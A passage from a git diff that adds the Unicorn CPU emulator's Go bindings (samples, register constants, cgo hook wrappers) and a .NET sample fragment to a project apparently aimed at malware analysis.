Console.WriteLine( + "[!] Interrupt 0x{0}: num {1}, SYS_WRITE. buffer = 0x{2}, size = , content = '{3}'", + eip.ToString("X"), + ecx.ToString("X"), + edx.ToString("X"), + content); + + break; + } + } + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/packages.config b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/packages.config new file mode 100644 index 0000000..d4215ee --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/packages.config @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/Makefile b/ai_anti_malware/unicorn/unicorn-master/bindings/go/Makefile new file mode 100644 index 0000000..fe898ae --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/Makefile @@ -0,0 +1,12 @@ +# Go binding for Unicorn engine. Ryan Hileman + +.PHONY: all gen_const test + +all: gen_const + cd unicorn && go build + +gen_const: + cd .. && python const_generator.py go + +test: all + cd unicorn && LD_LIBRARY_PATH=../../../ DYLD_LIBRARY_PATH=../../../ go test diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/README.md b/ai_anti_malware/unicorn/unicorn-master/bindings/go/README.md new file mode 100644 index 0000000..3433dad --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/README.md @@ -0,0 +1,29 @@ +To download/update the Unicorn Go bindings, run: + + go get -u github.com/unicorn-engine/unicorn/bindings/go + +A very basic usage example follows + +_(Does not handle most errors for brevity. Please see sample.go for a more hygenic example):_ + + package main + + import ( + "fmt" + uc "github.com/unicorn-engine/unicorn/bindings/go/unicorn" + ) + + func main() { + mu, _ := uc.NewUnicorn(uc.ARCH_X86, uc.MODE_32) + // mov eax, 1234 + code := []byte{184, 210, 4, 0, 0} + mu.MemMap(0x1000, 0x1000) + mu.MemWrite(0x1000, code) + if err := mu.Start(0x1000, 0x1000+uint64(len(code))); err != nil { + panic(err) + } + eax, _ := mu.RegRead(uc.X86_REG_EAX) + fmt.Printf("EAX is now: %d\n", eax) + } + +An example program exercising far more Unicorn functionality and error handling can be found in sample.go. diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/sample.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/sample.go new file mode 100644 index 0000000..6c66ace --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/sample.go @@ -0,0 +1,105 @@ +package main + +import ( + "encoding/hex" + "fmt" + uc "github.com/unicorn-engine/unicorn/bindings/go/unicorn" + "strings" +) + +var asm = strings.Join([]string{ + "48c7c003000000", // mov rax, 3 + "0f05", // syscall + "48c7c700400000", // mov rdi, 0x4000 + "488907", // mov [rdi], rdx + "488b07", // mov rdx, [rdi] + "4883c201", // add rdx, 1 +}, "") + +func addHooks(mu uc.Unicorn) { + mu.HookAdd(uc.HOOK_BLOCK, func(mu uc.Unicorn, addr uint64, size uint32) { + fmt.Printf("Block: 0x%x, 0x%x\n", addr, size) + }, 1, 0) + mu.HookAdd(uc.HOOK_CODE, func(mu uc.Unicorn, addr uint64, size uint32) { + fmt.Printf("Code: 0x%x, 0x%x\n", addr, size) + }, 1, 0) + mu.HookAdd(uc.HOOK_MEM_READ|uc.HOOK_MEM_WRITE, func(mu uc.Unicorn, access int, addr uint64, size int, value int64) { + if access == uc.MEM_WRITE { + fmt.Printf("Mem write") + } else { + fmt.Printf("Mem read") + } + fmt.Printf(": @0x%x, 0x%x = 0x%x\n", addr, size, value) + }, 1, 0) + invalid := uc.HOOK_MEM_READ_INVALID | uc.HOOK_MEM_WRITE_INVALID | uc.HOOK_MEM_FETCH_INVALID + mu.HookAdd(invalid, func(mu uc.Unicorn, access int, addr uint64, size int, value int64) bool { + switch access { + case uc.MEM_WRITE_UNMAPPED | uc.MEM_WRITE_PROT: + fmt.Printf("invalid write") + case uc.MEM_READ_UNMAPPED | uc.MEM_READ_PROT: + fmt.Printf("invalid read") + case uc.MEM_FETCH_UNMAPPED | uc.MEM_FETCH_PROT: + fmt.Printf("invalid fetch") + default: + fmt.Printf("unknown memory error") + } + fmt.Printf(": @0x%x, 0x%x = 0x%x\n", addr, size, value) + return false + }, 1, 0) + mu.HookAdd(uc.HOOK_INSN, func(mu uc.Unicorn) { + rax, _ := mu.RegRead(uc.X86_REG_RAX) + fmt.Printf("Syscall: %d\n", rax) + }, 1, 0, uc.X86_INS_SYSCALL) +} + +func run() error { + code, err := hex.DecodeString(asm) + if err != nil { + return err + } + // set up unicorn instance and add hooks + mu, err := uc.NewUnicorn(uc.ARCH_X86, uc.MODE_64) + if err != nil { + return err + } + addHooks(mu) + // map and write code to memory + if err := mu.MemMap(0x1000, 0x1000); err != nil { + return err + } + if err := mu.MemWrite(0x1000, code); err != nil { + return err + } + // map scratch space + if err := mu.MemMap(0x4000, 0x1000); err != nil { + return err + } + // set example register + if err := mu.RegWrite(uc.X86_REG_RDX, 1); err != nil { + return err + } + rdx, err := mu.RegRead(uc.X86_REG_RDX) + if err != nil { + return err + } + fmt.Printf("RDX is: %d\n", rdx) + + // start emulation + if err := mu.Start(0x1000, 0x1000+uint64(len(code))); err != nil { + return err + } + + // read back example register + rdx, err = mu.RegRead(uc.X86_REG_RDX) + if err != nil { + return err + } + fmt.Printf("RDX is now: %d\n", rdx) + return nil +} + +func main() { + if err := run(); err != nil { + fmt.Println(err) + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/arm64_const.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/arm64_const.go new file mode 100644 index 0000000..fb8dc90 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/arm64_const.go @@ -0,0 +1,314 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm64_const.go] +const ( + +// ARM64 registers + + ARM64_REG_INVALID = 0 + ARM64_REG_X29 = 1 + ARM64_REG_X30 = 2 + ARM64_REG_NZCV = 3 + ARM64_REG_SP = 4 + ARM64_REG_WSP = 5 + ARM64_REG_WZR = 6 + ARM64_REG_XZR = 7 + ARM64_REG_B0 = 8 + ARM64_REG_B1 = 9 + ARM64_REG_B2 = 10 + ARM64_REG_B3 = 11 + ARM64_REG_B4 = 12 + ARM64_REG_B5 = 13 + ARM64_REG_B6 = 14 + ARM64_REG_B7 = 15 + ARM64_REG_B8 = 16 + ARM64_REG_B9 = 17 + ARM64_REG_B10 = 18 + ARM64_REG_B11 = 19 + ARM64_REG_B12 = 20 + ARM64_REG_B13 = 21 + ARM64_REG_B14 = 22 + ARM64_REG_B15 = 23 + ARM64_REG_B16 = 24 + ARM64_REG_B17 = 25 + ARM64_REG_B18 = 26 + ARM64_REG_B19 = 27 + ARM64_REG_B20 = 28 + ARM64_REG_B21 = 29 + ARM64_REG_B22 = 30 + ARM64_REG_B23 = 31 + ARM64_REG_B24 = 32 + ARM64_REG_B25 = 33 + ARM64_REG_B26 = 34 + ARM64_REG_B27 = 35 + ARM64_REG_B28 = 36 + ARM64_REG_B29 = 37 + ARM64_REG_B30 = 38 + ARM64_REG_B31 = 39 + ARM64_REG_D0 = 40 + ARM64_REG_D1 = 41 + ARM64_REG_D2 = 42 + ARM64_REG_D3 = 43 + ARM64_REG_D4 = 44 + ARM64_REG_D5 = 45 + ARM64_REG_D6 = 46 + ARM64_REG_D7 = 47 + ARM64_REG_D8 = 48 + ARM64_REG_D9 = 49 + ARM64_REG_D10 = 50 + ARM64_REG_D11 = 51 + ARM64_REG_D12 = 52 + ARM64_REG_D13 = 53 + ARM64_REG_D14 = 54 + ARM64_REG_D15 = 55 + ARM64_REG_D16 = 56 + ARM64_REG_D17 = 57 + ARM64_REG_D18 = 58 + ARM64_REG_D19 = 59 + ARM64_REG_D20 = 60 + ARM64_REG_D21 = 61 + ARM64_REG_D22 = 62 + ARM64_REG_D23 = 63 + ARM64_REG_D24 = 64 + ARM64_REG_D25 = 65 + ARM64_REG_D26 = 66 + ARM64_REG_D27 = 67 + ARM64_REG_D28 = 68 + ARM64_REG_D29 = 69 + ARM64_REG_D30 = 70 + ARM64_REG_D31 = 71 + ARM64_REG_H0 = 72 + ARM64_REG_H1 = 73 + ARM64_REG_H2 = 74 + ARM64_REG_H3 = 75 + ARM64_REG_H4 = 76 + ARM64_REG_H5 = 77 + ARM64_REG_H6 = 78 + ARM64_REG_H7 = 79 + ARM64_REG_H8 = 80 + ARM64_REG_H9 = 81 + ARM64_REG_H10 = 82 + ARM64_REG_H11 = 83 + ARM64_REG_H12 = 84 + ARM64_REG_H13 = 85 + ARM64_REG_H14 = 86 + ARM64_REG_H15 = 87 + ARM64_REG_H16 = 88 + ARM64_REG_H17 = 89 + ARM64_REG_H18 = 90 + ARM64_REG_H19 = 91 + ARM64_REG_H20 = 92 + ARM64_REG_H21 = 93 + ARM64_REG_H22 = 94 + ARM64_REG_H23 = 95 + ARM64_REG_H24 = 96 + ARM64_REG_H25 = 97 + ARM64_REG_H26 = 98 + ARM64_REG_H27 = 99 + ARM64_REG_H28 = 100 + ARM64_REG_H29 = 101 + ARM64_REG_H30 = 102 + ARM64_REG_H31 = 103 + ARM64_REG_Q0 = 104 + ARM64_REG_Q1 = 105 + ARM64_REG_Q2 = 106 + ARM64_REG_Q3 = 107 + ARM64_REG_Q4 = 108 + ARM64_REG_Q5 = 109 + ARM64_REG_Q6 = 110 + ARM64_REG_Q7 = 111 + ARM64_REG_Q8 = 112 + ARM64_REG_Q9 = 113 + ARM64_REG_Q10 = 114 + ARM64_REG_Q11 = 115 + ARM64_REG_Q12 = 116 + ARM64_REG_Q13 = 117 + ARM64_REG_Q14 = 118 + ARM64_REG_Q15 = 119 + ARM64_REG_Q16 = 120 + ARM64_REG_Q17 = 121 + ARM64_REG_Q18 = 122 + ARM64_REG_Q19 = 123 + ARM64_REG_Q20 = 124 + ARM64_REG_Q21 = 125 + ARM64_REG_Q22 = 126 + ARM64_REG_Q23 = 127 + ARM64_REG_Q24 = 128 + ARM64_REG_Q25 = 129 + ARM64_REG_Q26 = 130 + ARM64_REG_Q27 = 131 + ARM64_REG_Q28 = 132 + ARM64_REG_Q29 = 133 + ARM64_REG_Q30 = 134 + ARM64_REG_Q31 = 135 + ARM64_REG_S0 = 136 + ARM64_REG_S1 = 137 + ARM64_REG_S2 = 138 + ARM64_REG_S3 = 139 + ARM64_REG_S4 = 140 + ARM64_REG_S5 = 141 + ARM64_REG_S6 = 142 + ARM64_REG_S7 = 143 + ARM64_REG_S8 = 144 + ARM64_REG_S9 = 145 + ARM64_REG_S10 = 146 + ARM64_REG_S11 = 147 + ARM64_REG_S12 = 148 + ARM64_REG_S13 = 149 + ARM64_REG_S14 = 150 + ARM64_REG_S15 = 151 + ARM64_REG_S16 = 152 + ARM64_REG_S17 = 153 + ARM64_REG_S18 = 154 + ARM64_REG_S19 = 155 + ARM64_REG_S20 = 156 + ARM64_REG_S21 = 157 + ARM64_REG_S22 = 158 + ARM64_REG_S23 = 159 + ARM64_REG_S24 = 160 + ARM64_REG_S25 = 161 + ARM64_REG_S26 = 162 + ARM64_REG_S27 = 163 + ARM64_REG_S28 = 164 + ARM64_REG_S29 = 165 + ARM64_REG_S30 = 166 + ARM64_REG_S31 = 167 + ARM64_REG_W0 = 168 + ARM64_REG_W1 = 169 + ARM64_REG_W2 = 170 + ARM64_REG_W3 = 171 + ARM64_REG_W4 = 172 + ARM64_REG_W5 = 173 + ARM64_REG_W6 = 174 + ARM64_REG_W7 = 175 + ARM64_REG_W8 = 176 + ARM64_REG_W9 = 177 + ARM64_REG_W10 = 178 + ARM64_REG_W11 = 179 + ARM64_REG_W12 = 180 + ARM64_REG_W13 = 181 + ARM64_REG_W14 = 182 + ARM64_REG_W15 = 183 + ARM64_REG_W16 = 184 + ARM64_REG_W17 = 185 + ARM64_REG_W18 = 186 + ARM64_REG_W19 = 187 + ARM64_REG_W20 = 188 + ARM64_REG_W21 = 189 + ARM64_REG_W22 = 190 + ARM64_REG_W23 = 191 + ARM64_REG_W24 = 192 + ARM64_REG_W25 = 193 + ARM64_REG_W26 = 194 + ARM64_REG_W27 = 195 + ARM64_REG_W28 = 196 + ARM64_REG_W29 = 197 + ARM64_REG_W30 = 198 + ARM64_REG_X0 = 199 + ARM64_REG_X1 = 200 + ARM64_REG_X2 = 201 + ARM64_REG_X3 = 202 + ARM64_REG_X4 = 203 + ARM64_REG_X5 = 204 + ARM64_REG_X6 = 205 + ARM64_REG_X7 = 206 + ARM64_REG_X8 = 207 + ARM64_REG_X9 = 208 + ARM64_REG_X10 = 209 + ARM64_REG_X11 = 210 + ARM64_REG_X12 = 211 + ARM64_REG_X13 = 212 + ARM64_REG_X14 = 213 + ARM64_REG_X15 = 214 + ARM64_REG_X16 = 215 + ARM64_REG_X17 = 216 + ARM64_REG_X18 = 217 + ARM64_REG_X19 = 218 + ARM64_REG_X20 = 219 + ARM64_REG_X21 = 220 + ARM64_REG_X22 = 221 + ARM64_REG_X23 = 222 + ARM64_REG_X24 = 223 + ARM64_REG_X25 = 224 + ARM64_REG_X26 = 225 + ARM64_REG_X27 = 226 + ARM64_REG_X28 = 227 + ARM64_REG_V0 = 228 + ARM64_REG_V1 = 229 + ARM64_REG_V2 = 230 + ARM64_REG_V3 = 231 + ARM64_REG_V4 = 232 + ARM64_REG_V5 = 233 + ARM64_REG_V6 = 234 + ARM64_REG_V7 = 235 + ARM64_REG_V8 = 236 + ARM64_REG_V9 = 237 + ARM64_REG_V10 = 238 + ARM64_REG_V11 = 239 + ARM64_REG_V12 = 240 + ARM64_REG_V13 = 241 + ARM64_REG_V14 = 242 + ARM64_REG_V15 = 243 + ARM64_REG_V16 = 244 + ARM64_REG_V17 = 245 + ARM64_REG_V18 = 246 + ARM64_REG_V19 = 247 + ARM64_REG_V20 = 248 + ARM64_REG_V21 = 249 + ARM64_REG_V22 = 250 + ARM64_REG_V23 = 251 + ARM64_REG_V24 = 252 + ARM64_REG_V25 = 253 + ARM64_REG_V26 = 254 + ARM64_REG_V27 = 255 + ARM64_REG_V28 = 256 + ARM64_REG_V29 = 257 + ARM64_REG_V30 = 258 + ARM64_REG_V31 = 259 + +// pseudo registers + ARM64_REG_PC = 260 + ARM64_REG_CPACR_EL1 = 261 + +// thread registers + ARM64_REG_TPIDR_EL0 = 262 + ARM64_REG_TPIDRRO_EL0 = 263 + ARM64_REG_TPIDR_EL1 = 264 + ARM64_REG_PSTATE = 265 + +// exception link registers + ARM64_REG_ELR_EL0 = 266 + ARM64_REG_ELR_EL1 = 267 + ARM64_REG_ELR_EL2 = 268 + ARM64_REG_ELR_EL3 = 269 + +// stack pointers registers + ARM64_REG_SP_EL0 = 270 + ARM64_REG_SP_EL1 = 271 + ARM64_REG_SP_EL2 = 272 + ARM64_REG_SP_EL3 = 273 + +// other CP15 registers + ARM64_REG_TTBR0_EL1 = 274 + ARM64_REG_TTBR1_EL1 = 275 + ARM64_REG_ESR_EL0 = 276 + ARM64_REG_ESR_EL1 = 277 + ARM64_REG_ESR_EL2 = 278 + ARM64_REG_ESR_EL3 = 279 + ARM64_REG_FAR_EL0 = 280 + ARM64_REG_FAR_EL1 = 281 + ARM64_REG_FAR_EL2 = 282 + ARM64_REG_FAR_EL3 = 283 + ARM64_REG_PAR_EL1 = 284 + ARM64_REG_MAIR_EL1 = 285 + ARM64_REG_VBAR_EL0 = 286 + ARM64_REG_VBAR_EL1 = 287 + ARM64_REG_VBAR_EL2 = 288 + ARM64_REG_VBAR_EL3 = 289 + ARM64_REG_ENDING = 290 + +// alias registers + ARM64_REG_IP0 = 215 + ARM64_REG_IP1 = 216 + ARM64_REG_FP = 1 + ARM64_REG_LR = 2 +) \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/arm_const.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/arm_const.go new file mode 100644 index 0000000..d4321c9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/arm_const.go @@ -0,0 +1,135 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm_const.go] +const ( + +// ARM registers + + ARM_REG_INVALID = 0 + ARM_REG_APSR = 1 + ARM_REG_APSR_NZCV = 2 + ARM_REG_CPSR = 3 + ARM_REG_FPEXC = 4 + ARM_REG_FPINST = 5 + ARM_REG_FPSCR = 6 + ARM_REG_FPSCR_NZCV = 7 + ARM_REG_FPSID = 8 + ARM_REG_ITSTATE = 9 + ARM_REG_LR = 10 + ARM_REG_PC = 11 + ARM_REG_SP = 12 + ARM_REG_SPSR = 13 + ARM_REG_D0 = 14 + ARM_REG_D1 = 15 + ARM_REG_D2 = 16 + ARM_REG_D3 = 17 + ARM_REG_D4 = 18 + ARM_REG_D5 = 19 + ARM_REG_D6 = 20 + ARM_REG_D7 = 21 + ARM_REG_D8 = 22 + ARM_REG_D9 = 23 + ARM_REG_D10 = 24 + ARM_REG_D11 = 25 + ARM_REG_D12 = 26 + ARM_REG_D13 = 27 + ARM_REG_D14 = 28 + ARM_REG_D15 = 29 + ARM_REG_D16 = 30 + ARM_REG_D17 = 31 + ARM_REG_D18 = 32 + ARM_REG_D19 = 33 + ARM_REG_D20 = 34 + ARM_REG_D21 = 35 + ARM_REG_D22 = 36 + ARM_REG_D23 = 37 + ARM_REG_D24 = 38 + ARM_REG_D25 = 39 + ARM_REG_D26 = 40 + ARM_REG_D27 = 41 + ARM_REG_D28 = 42 + ARM_REG_D29 = 43 + ARM_REG_D30 = 44 + ARM_REG_D31 = 45 + ARM_REG_FPINST2 = 46 + ARM_REG_MVFR0 = 47 + ARM_REG_MVFR1 = 48 + ARM_REG_MVFR2 = 49 + ARM_REG_Q0 = 50 + ARM_REG_Q1 = 51 + ARM_REG_Q2 = 52 + ARM_REG_Q3 = 53 + ARM_REG_Q4 = 54 + ARM_REG_Q5 = 55 + ARM_REG_Q6 = 56 + ARM_REG_Q7 = 57 + ARM_REG_Q8 = 58 + ARM_REG_Q9 = 59 + ARM_REG_Q10 = 60 + ARM_REG_Q11 = 61 + ARM_REG_Q12 = 62 + ARM_REG_Q13 = 63 + ARM_REG_Q14 = 64 + ARM_REG_Q15 = 65 + ARM_REG_R0 = 66 + ARM_REG_R1 = 67 + ARM_REG_R2 = 68 + ARM_REG_R3 = 69 + ARM_REG_R4 = 70 + ARM_REG_R5 = 71 + ARM_REG_R6 = 72 + ARM_REG_R7 = 73 + ARM_REG_R8 = 74 + ARM_REG_R9 = 75 + ARM_REG_R10 = 76 + ARM_REG_R11 = 77 + ARM_REG_R12 = 78 + ARM_REG_S0 = 79 + ARM_REG_S1 = 80 + ARM_REG_S2 = 81 + ARM_REG_S3 = 82 + ARM_REG_S4 = 83 + ARM_REG_S5 = 84 + ARM_REG_S6 = 85 + ARM_REG_S7 = 86 + ARM_REG_S8 = 87 + ARM_REG_S9 = 88 + ARM_REG_S10 = 89 + ARM_REG_S11 = 90 + ARM_REG_S12 = 91 + ARM_REG_S13 = 92 + ARM_REG_S14 = 93 + ARM_REG_S15 = 94 + ARM_REG_S16 = 95 + ARM_REG_S17 = 96 + ARM_REG_S18 = 97 + ARM_REG_S19 = 98 + ARM_REG_S20 = 99 + ARM_REG_S21 = 100 + ARM_REG_S22 = 101 + ARM_REG_S23 = 102 + ARM_REG_S24 = 103 + ARM_REG_S25 = 104 + ARM_REG_S26 = 105 + ARM_REG_S27 = 106 + ARM_REG_S28 = 107 + ARM_REG_S29 = 108 + ARM_REG_S30 = 109 + ARM_REG_S31 = 110 + ARM_REG_C1_C0_2 = 111 + ARM_REG_C13_C0_2 = 112 + ARM_REG_C13_C0_3 = 113 + ARM_REG_IPSR = 114 + ARM_REG_MSP = 115 + ARM_REG_PSP = 116 + ARM_REG_CONTROL = 117 + ARM_REG_ENDING = 118 + +// alias registers + ARM_REG_R13 = 12 + ARM_REG_R14 = 10 + ARM_REG_R15 = 11 + ARM_REG_SB = 75 + ARM_REG_SL = 76 + ARM_REG_FP = 77 + ARM_REG_IP = 78 +) \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/context.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/context.go new file mode 100644 index 0000000..3e8bcbf --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/context.go @@ -0,0 +1,29 @@ +package unicorn + +import ( + "runtime" + "unsafe" +) + +// #include +import "C" + +type Context **C.uc_context + +func (u *uc) ContextSave(reuse Context) (Context, error) { + ctx := reuse + if ctx == nil { + ctx = new(*C.uc_context) + } + if err := errReturn(C.uc_context_alloc(u.handle, ctx)); err != nil { + return nil, err + } + runtime.SetFinalizer(ctx, func(p Context) { C.uc_free(unsafe.Pointer(*p)) }) + if err := errReturn(C.uc_context_save(u.handle, *ctx)); err != nil { + } + return ctx, nil +} + +func (u *uc) ContextRestore(ctx Context) error { + return errReturn(C.uc_context_restore(u.handle, *ctx)) +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/context_test.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/context_test.go new file mode 100644 index 0000000..3231ef4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/context_test.go @@ -0,0 +1,26 @@ +package unicorn + +import ( + "testing" +) + +func TestContext(t *testing.T) { + u, err := NewUnicorn(ARCH_X86, MODE_32) + if err != nil { + t.Fatal(err) + } + u.RegWrite(X86_REG_EBP, 100) + ctx, err := u.ContextSave(nil) + if err != nil { + t.Fatal(err) + } + u.RegWrite(X86_REG_EBP, 200) + err = u.ContextRestore(ctx) + if err != nil { + t.Fatal(err) + } + val, _ := u.RegRead(X86_REG_EBP) + if val != 100 { + t.Fatal("context restore failed") + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.c b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.c new file mode 100644 index 0000000..a2b7dc9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.c @@ -0,0 +1,42 @@ +#include +#include "_cgo_export.h" + +uc_err uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, + void *user_data, uint64_t begin, uint64_t end, ...); + + +uc_err uc_hook_add_wrap(uc_engine *handle, uc_hook *h2, uc_hook_type type, void *callback, uintptr_t user, uint64_t begin, uint64_t end) { + return uc_hook_add(handle, h2, type, callback, (void *)user, begin, end); +} + +uc_err uc_hook_add_insn(uc_engine *handle, uc_hook *h2, uc_hook_type type, void *callback, uintptr_t user, uint64_t begin, uint64_t end, int insn) { + return uc_hook_add(handle, h2, type, callback, (void *)user, begin, end, insn); +} + +void hookCode_cgo(uc_engine *handle, uint64_t addr, uint32_t size, uintptr_t user) { + hookCode(handle, addr, size, (void *)user); +} + +bool hookMemInvalid_cgo(uc_engine *handle, uc_mem_type type, uint64_t addr, int size, int64_t value, uintptr_t user) { + return hookMemInvalid(handle, type, addr, size, value, (void *)user); +} + +void hookMemAccess_cgo(uc_engine *handle, uc_mem_type type, uint64_t addr, int size, int64_t value, uintptr_t user) { + hookMemAccess(handle, type, addr, size, value, (void *)user); +} + +void hookInterrupt_cgo(uc_engine *handle, uint32_t intno, uintptr_t user) { + hookInterrupt(handle, intno, (void *)user); +} + +uint32_t hookX86In_cgo(uc_engine *handle, uint32_t port, uint32_t size, uintptr_t user) { + return hookX86In(handle, port, size, (void *)user); +} + +void hookX86Out_cgo(uc_engine *handle, uint32_t port, uint32_t size, uint32_t value, uintptr_t user) { + hookX86Out(handle, port, size, value, (void *)user); +} + +void hookX86Syscall_cgo(uc_engine *handle, uintptr_t user) { + hookX86Syscall(handle, (void *)user); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.go new file mode 100644 index 0000000..0d7fd68 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.go @@ -0,0 +1,153 @@ +package unicorn + +import ( + "errors" + "sync" + "unsafe" +) + +/* +#include +#include "hook.h" +*/ +import "C" + +type HookData struct { + Uc Unicorn + Callback interface{} +} + +type Hook uint64 + +type fastHookMap struct { + vals []*HookData + sync.RWMutex +} + +func (m *fastHookMap) insert(h *HookData) uintptr { + // don't change this to defer + m.Lock() + for i, v := range m.vals { + if v == nil { + m.vals[i] = h + m.Unlock() + return uintptr(i) + } + } + i := len(m.vals) + m.vals = append(m.vals, h) + m.Unlock() + return uintptr(i) +} + +func (m *fastHookMap) get(i unsafe.Pointer) *HookData { + m.RLock() + // TODO: nil check? + v := m.vals[uintptr(i)] + m.RUnlock() + return v +} + +func (m *fastHookMap) remove(i uintptr) { + m.Lock() + m.vals[i] = nil + m.Unlock() +} + +var hookMap fastHookMap + +//export hookCode +func hookCode(handle unsafe.Pointer, addr uint64, size uint32, user unsafe.Pointer) { + hook := hookMap.get(user) + hook.Callback.(func(Unicorn, uint64, uint32))(hook.Uc, uint64(addr), uint32(size)) +} + +//export hookMemInvalid +func hookMemInvalid(handle unsafe.Pointer, typ C.uc_mem_type, addr uint64, size int, value int64, user unsafe.Pointer) bool { + hook := hookMap.get(user) + return hook.Callback.(func(Unicorn, int, uint64, int, int64) bool)(hook.Uc, int(typ), addr, size, value) +} + +//export hookMemAccess +func hookMemAccess(handle unsafe.Pointer, typ C.uc_mem_type, addr uint64, size int, value int64, user unsafe.Pointer) { + hook := hookMap.get(user) + hook.Callback.(func(Unicorn, int, uint64, int, int64))(hook.Uc, int(typ), addr, size, value) +} + +//export hookInterrupt +func hookInterrupt(handle unsafe.Pointer, intno uint32, user unsafe.Pointer) { + hook := hookMap.get(user) + hook.Callback.(func(Unicorn, uint32))(hook.Uc, intno) +} + +//export hookX86In +func hookX86In(handle unsafe.Pointer, port, size uint32, user unsafe.Pointer) uint32 { + hook := hookMap.get(user) + return hook.Callback.(func(Unicorn, uint32, uint32) uint32)(hook.Uc, port, size) +} + +//export hookX86Out +func hookX86Out(handle unsafe.Pointer, port, size, value uint32, user unsafe.Pointer) { + hook := hookMap.get(user) + hook.Callback.(func(Unicorn, uint32, uint32, uint32))(hook.Uc, port, size, value) +} + +//export hookX86Syscall +func hookX86Syscall(handle unsafe.Pointer, user unsafe.Pointer) { + hook := hookMap.get(user) + hook.Callback.(func(Unicorn))(hook.Uc) +} + +func (u *uc) HookAdd(htype int, cb interface{}, begin, end uint64, extra ...int) (Hook, error) { + var callback unsafe.Pointer + var insn C.int + var insnMode bool + switch htype { + case HOOK_BLOCK, HOOK_CODE: + callback = C.hookCode_cgo + case HOOK_MEM_READ, HOOK_MEM_WRITE, HOOK_MEM_READ | HOOK_MEM_WRITE: + callback = C.hookMemAccess_cgo + case HOOK_INTR: + callback = C.hookInterrupt_cgo + case HOOK_INSN: + insn = C.int(extra[0]) + insnMode = true + switch insn { + case X86_INS_IN: + callback = C.hookX86In_cgo + case X86_INS_OUT: + callback = C.hookX86Out_cgo + case X86_INS_SYSCALL, X86_INS_SYSENTER: + callback = C.hookX86Syscall_cgo + default: + return 0, errors.New("Unknown instruction type.") + } + default: + // special case for mask + if htype&(HOOK_MEM_READ_UNMAPPED|HOOK_MEM_WRITE_UNMAPPED|HOOK_MEM_FETCH_UNMAPPED| + HOOK_MEM_READ_PROT|HOOK_MEM_WRITE_PROT|HOOK_MEM_FETCH_PROT) != 0 { + callback = C.hookMemInvalid_cgo + } else { + return 0, errors.New("Unknown hook type.") + } + } + var h2 C.uc_hook + data := &HookData{u, cb} + uptr := hookMap.insert(data) + if insnMode { + C.uc_hook_add_insn(u.handle, &h2, C.uc_hook_type(htype), callback, C.uintptr_t(uptr), C.uint64_t(begin), C.uint64_t(end), insn) + } else { + C.uc_hook_add_wrap(u.handle, &h2, C.uc_hook_type(htype), callback, C.uintptr_t(uptr), C.uint64_t(begin), C.uint64_t(end)) + } + // TODO: could move Hook and uptr onto HookData and just return it + u.hooks[Hook(h2)] = uptr + return Hook(h2), nil +} + +func (u *uc) HookDel(hook Hook) error { + if uptr, ok := u.hooks[hook]; ok { + delete(u.hooks, hook) + hookMap.remove(uptr) + } + return errReturn(C.uc_hook_del(u.handle, C.uc_hook(hook))) +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.h b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.h new file mode 100644 index 0000000..35813a0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.h @@ -0,0 +1,9 @@ +uc_err uc_hook_add_wrap(uc_engine *handle, uc_hook *h2, uc_hook_type type, void *callback, uintptr_t user, uint64_t begin, uint64_t end); +uc_err uc_hook_add_insn(uc_engine *handle, uc_hook *h2, uc_hook_type type, void *callback, uintptr_t user, uint64_t begin, uint64_t end, int insn); +void hookCode_cgo(uc_engine *handle, uint64_t addr, uint32_t size, uintptr_t user); +bool hookMemInvalid_cgo(uc_engine *handle, uc_mem_type type, uint64_t addr, int size, int64_t value, uintptr_t user); +void hookMemAccess_cgo(uc_engine *handle, uc_mem_type type, uint64_t addr, int size, int64_t value, uintptr_t user); +void hookInterrupt_cgo(uc_engine *handle, uint32_t intno, uintptr_t user); +uint32_t hookX86In_cgo(uc_engine *handle, uint32_t port, uint32_t size, uintptr_t user); +void hookX86Out_cgo(uc_engine *handle, uint32_t port, uint32_t size, uint32_t value, uintptr_t user); +void hookX86Syscall_cgo(uc_engine *handle, uintptr_t user); diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/m68k_const.go 